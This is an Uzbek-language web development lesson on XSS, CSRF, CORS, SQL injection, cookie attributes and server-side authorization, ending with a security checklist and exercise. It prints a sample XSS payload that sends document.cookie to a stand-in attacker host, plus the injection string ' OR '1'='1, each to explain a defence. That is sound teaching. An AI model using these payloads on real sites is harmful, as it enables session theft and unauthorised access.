Web xavfsizligi: XSS, CSRF va CORS

HTTPS darsi aloqa kanalini himoya qiladi: yo’ldagi hech kim ma’lumotni o’qiy olmaydi. Lekin bu yetarli emas. HTTPS ilova ichidagi xatolardan himoya qilmaydi — zararli kod sahifaga tushsa yoki server ruxsatni tekshirmasa, shifrlangan kanal ham yordam bermaydi.

Bu darsda uchta eng ko’p uchraydigan xavfni ko’ramiz. Ularni chalkashtirmaslik muhim, chunki har birining himoyasi butunlay boshqacha.

Xavf	Nima sodir bo’ladi	Asosiy himoya
XSS	Zararli skript sahifada ishlaydi	Kiritishni ishonchli chiqarish, sanitizatsiya, CSP
CSRF	Boshqa sayt login qilingan foydalanuvchi nomidan amal qildiradi	SameSite cookie, CSRF token, origin tekshiruvi
CORS xatosi	Brauzer boshqa origin API javobini bloklaydi	Serverda aniq origin/metod/header ruxsati

XSS — begona skript sizning sahifangizda

XSS (Cross-Site Scripting) foydalanuvchi kiritgan matn sahifada kod sifatida ishga tushganda sodir bo’ladi. Tasavvur qiling, izohlar bo’limi bor va kimdir izoh o’rniga shunday yozdi:

<script>fetch('https://yomon-sayt.uz?c=' + document.cookie)</script>

Agar sayt bu matnni tekshirmasdan sahifaga qo’shsa, uni har bir tashrifchi brauzeri bajaradi va cookie’lari begona serverga ketadi.

Himoyaning birinchi qoidasi sodda: foydalanuvchi kiritgan matn doim matn bo’lib qolishi kerak. Ko’p zamonaviy framework (React, Vue, Astro) buni avtomatik bajaradi — matndagi < va > belgilarini xavfsiz shaklga o’giradi.

Ikkinchi qatlam — CSP (Content Security Policy). Bu server yuboradigan header bo’lib, brauzerga qaysi manbadagi skriptlarni bajarishga ruxsat borligini aytadi. To’g’ri sozlangan CSP sahifaga tushib qolgan begona skriptni ham ishlashdan to’xtatadi.

CSRF — sizning nomingizdan qilingan amal

CSRF (Cross-Site Request Forgery) butunlay boshqa mexanizm. Bu yerda zararli kod sizning saytingizda emas, boshqa saytda turadi.

Stsenariy shunday: siz bankingiz saytiga kirdingiz va cookie brauzerda saqlanib qoldi. Keyin boshqa saytga o’tdingiz, u yerda esa yashirin forma bor:

Brauzer cookie’ni avtomatik yuboradi, chunki manzil bank domeni. Server esa so’rov qayerdan kelganini bilmasa, uni haqiqiy deb qabul qiladi.

Himoyaning uch usuli bor:

• SameSite cookie atributi. SameSite=Lax yoki Strict cookie’ni boshqa saytdan kelgan so’rovga qo’shmaydi. Bu eng sodda va samarali qatlam.
• CSRF token. Server har formaga tasodifiy qiymat qo’shadi va so’rov qaytganda uni tekshiradi. Begona sayt bu qiymatni bila olmaydi.
• Origin tekshiruvi. Server Origin yoki Referer headerini ko’rib, so’rov o’z saytidan kelganini tasdiqlaydi.

CORS — xavf emas, himoya

CORS ko’pincha “xato” sifatida tanilgan, lekin aslida u brauzer himoyasi. Brauzer bir saytdagi JavaScript boshqa saytning ma’lumotini ruxsatsiz o’qishiga yo’l qo’ymaydi.

CORS xatosi chiqsa, bu odatda hujum emas — server hali ruxsat sozlanmagani bildiradi. Yechim serverda: qaysi origin, qaysi metod va qaysi headerlarga ruxsat berilishini aniq ko’rsatish kerak.

Bu yerda keng tarqalgan xato bor: ruxsatni hamma uchun ochib qo’yish (Access-Control-Allow-Origin: *). Ochiq, hammaga mo’ljallangan API uchun bu to’g’ri bo’lishi mumkin, lekin cookie yoki token bilan ishlaydigan xizmatda xavfli. To’g’ri yondashuv — ruxsat berilgan originlarning aniq ro’yxatini tuzish va faqat kerakli metodlarni ochish.

Batafsil mexanizm va preflight so’rovi HTTP amaliyoti darsida ko’rsatilgan.

Amaliy himoya qatlamlari

Parollar va sessiyalar

Parolni hech qachon ochiq holda saqlamang. Ma’lumotlar bazasi qo’lga tushsa ham parollar o’qib bo’lmaydigan bo’lishi kerak. Buning uchun maxsus parol xeshlash algoritmlari (bcrypt, argon2, scrypt) ishlatiladi — oddiy md5 yoki sha1 bu vazifa uchun yaramaydi.

Session cookie’ga uchta atribut berish odatiy amaliyot:

Atribut	Vazifasi
HttpOnly	JavaScript cookie’ni o’qiy olmaydi (XSS zararini kamaytiradi)
Secure	Cookie faqat HTTPS orqali yuboriladi
SameSite	Boshqa saytdan kelgan so’rovga qo’shilmaydi (CSRF himoyasi)

Bu tushunchalar cookie va autentifikatsiya darsida kengroq yoritilgan.

Ruxsatni doim server tekshiradi

Bu eng ko’p uchraydigan va eng qimmatga tushadigan xato. Interfeysda tugmani yashirish — xavfsizlik emas, faqat qulaylik. Foydalanuvchi DevTools orqali so’rovni qo’lda yubora oladi.

Har so’rovda server ikki savolga javob berishi kerak:

1. Autentifikatsiya: bu kim? (token yoki session haqiqiymi)
2. Avtorizatsiya: bu odam aynan shu ma’lumotni o’zgartirishga ruxsatlimi?

Ikkinchi savolni unutish keng tarqalgan zaiflikka olib keladi: foydalanuvchi URL’dagi id=15 ni id=16 ga o’zgartirib, boshqa odamning ma’lumotini ko’radi yoki o’chiradi.

SQL injection va kiritishga ishonmaslik

Yana bir klassik zaiflik — foydalanuvchi kiritgan matnni to’g’ridan-to’g’ri so’rov ichiga qo’shish. Masalan, login formasi shunday yozilgan bo’lsa:

"SELECT * FROM users WHERE email = '" + email + "'"

Foydalanuvchi email o’rniga ' OR '1'='1 yozsa, so’rov mantig’i o’zgaradi va shart doim rost bo’lib qoladi. Natijada parolsiz kirish mumkin bo’lishi mumkin.

Yechim — qiymatni so’rov matniga qo’shmaslik. Buning o’rniga parametrli so’rov (prepared statement) ishlatiladi: baza qiymatni har doim ma’lumot deb qabul qiladi, hech qachon buyruq deb emas.

"SELECT * FROM users WHERE email = ?"   → qiymat alohida uzatiladi

Ko’p ORM va baza kutubxonalari buni sukut bo’yicha bajaradi. Muhimi — qo’lda satr birlashtirib so’rov yasamaslik. Bu qoida faqat SQLga emas, shell buyrug’i, fayl yo’li va HTML chiqarishga ham taalluqli: kiritish har doim shubhali deb qaraladi.

Amaliy checklist

Loyihani chiqarishdan oldin quyidagilarni ko’rib chiqing:

• Parol mos xeshlash algoritmi bilan saqlanadi.
• Login urinishlari cheklangan va shubhali urinishlar logga yoziladi.
• Serverda har kirish validatsiya qilinadi; klient tekshiruvi faqat qulaylik.
• Session cookie’da HttpOnly, Secure va mos SameSite bor.
• Har so’rovda avtorizatsiya (kim nimaga ruxsatli) tekshiriladi.
• Xatoda foydalanuvchiga stack trace yoki ichki tafsilot ko’rsatilmaydi.
• Maxfiy kalit va token .env da, Git tarixida emas.
• CSP va X-Content-Type-Options kabi security headerlar sozlangan.
• Bog’liqliklar yangilangan va ma’lum zaifliklar tekshirilgan.

Bog’liqliklar ham sizning kodingiz

Zamonaviy loyihada yozgan kodingiz umumiy hajmning kichik qismi bo’lishi mumkin — qolgani tashqi kutubxonalar. Ularda topilgan zaiflik sizning ilovangizga ham tegishli bo’ladi.

Shuning uchun bog’liqliklarni muntazam yangilab turing va o’rnatishdan oldin paketning kimga tegishli ekanini, oxirgi marta qachon yangilanganini va haqiqatan kerakligini tekshiring. Bitta kichik vazifa uchun katta paket o’rnatish xavf maydonini kengaytiradi.

Amaliy mashq

O’zingiz qurayotgan yoki tanish bo’lgan bitta web formani tanlang. Uch savolga yozma javob bering:

1. Bu forma qabul qiladigan matn boshqa foydalanuvchiga ko’rsatiladimi? Agar ha bo’lsa, u qanday chiqariladi — matn sifatidami yoki HTML sifatida?
2. Bu amalni bajarish uchun login kerakmi? Server buni qayerda tekshiradi?
3. Boshqa foydalanuvchi id ni almashtirib, begona ma’lumotga tega oladimi?

Uchala savolga ishonch bilan javob bera olsangiz, xavfsizlikning eng muhim uch qatlamini tushungan bo’lasiz.

Qisqacha xulosa

• XSS — begona skript sizning sahifangizda ishlaydi; matnni matn sifatida chiqaring va CSP qo’ying.
• CSRF — begona sayt sizning cookie’ingizdan foydalanadi; SameSite va CSRF token himoya qiladi.
• CORS — xavf emas, brauzer himoyasi; server tomonda to’g’ri sozlanadi.
• Parol xeshlanadi, session cookie HttpOnly + Secure + SameSite bo’ladi.
• Ruxsatni har doim server tekshiradi — interfeysda yashirish yetarli emas.

Keyingi darsda HTML, CSS va JavaScript ko’prigi — frontendning uch tayanchini bitta forma misolida bog’laymiz.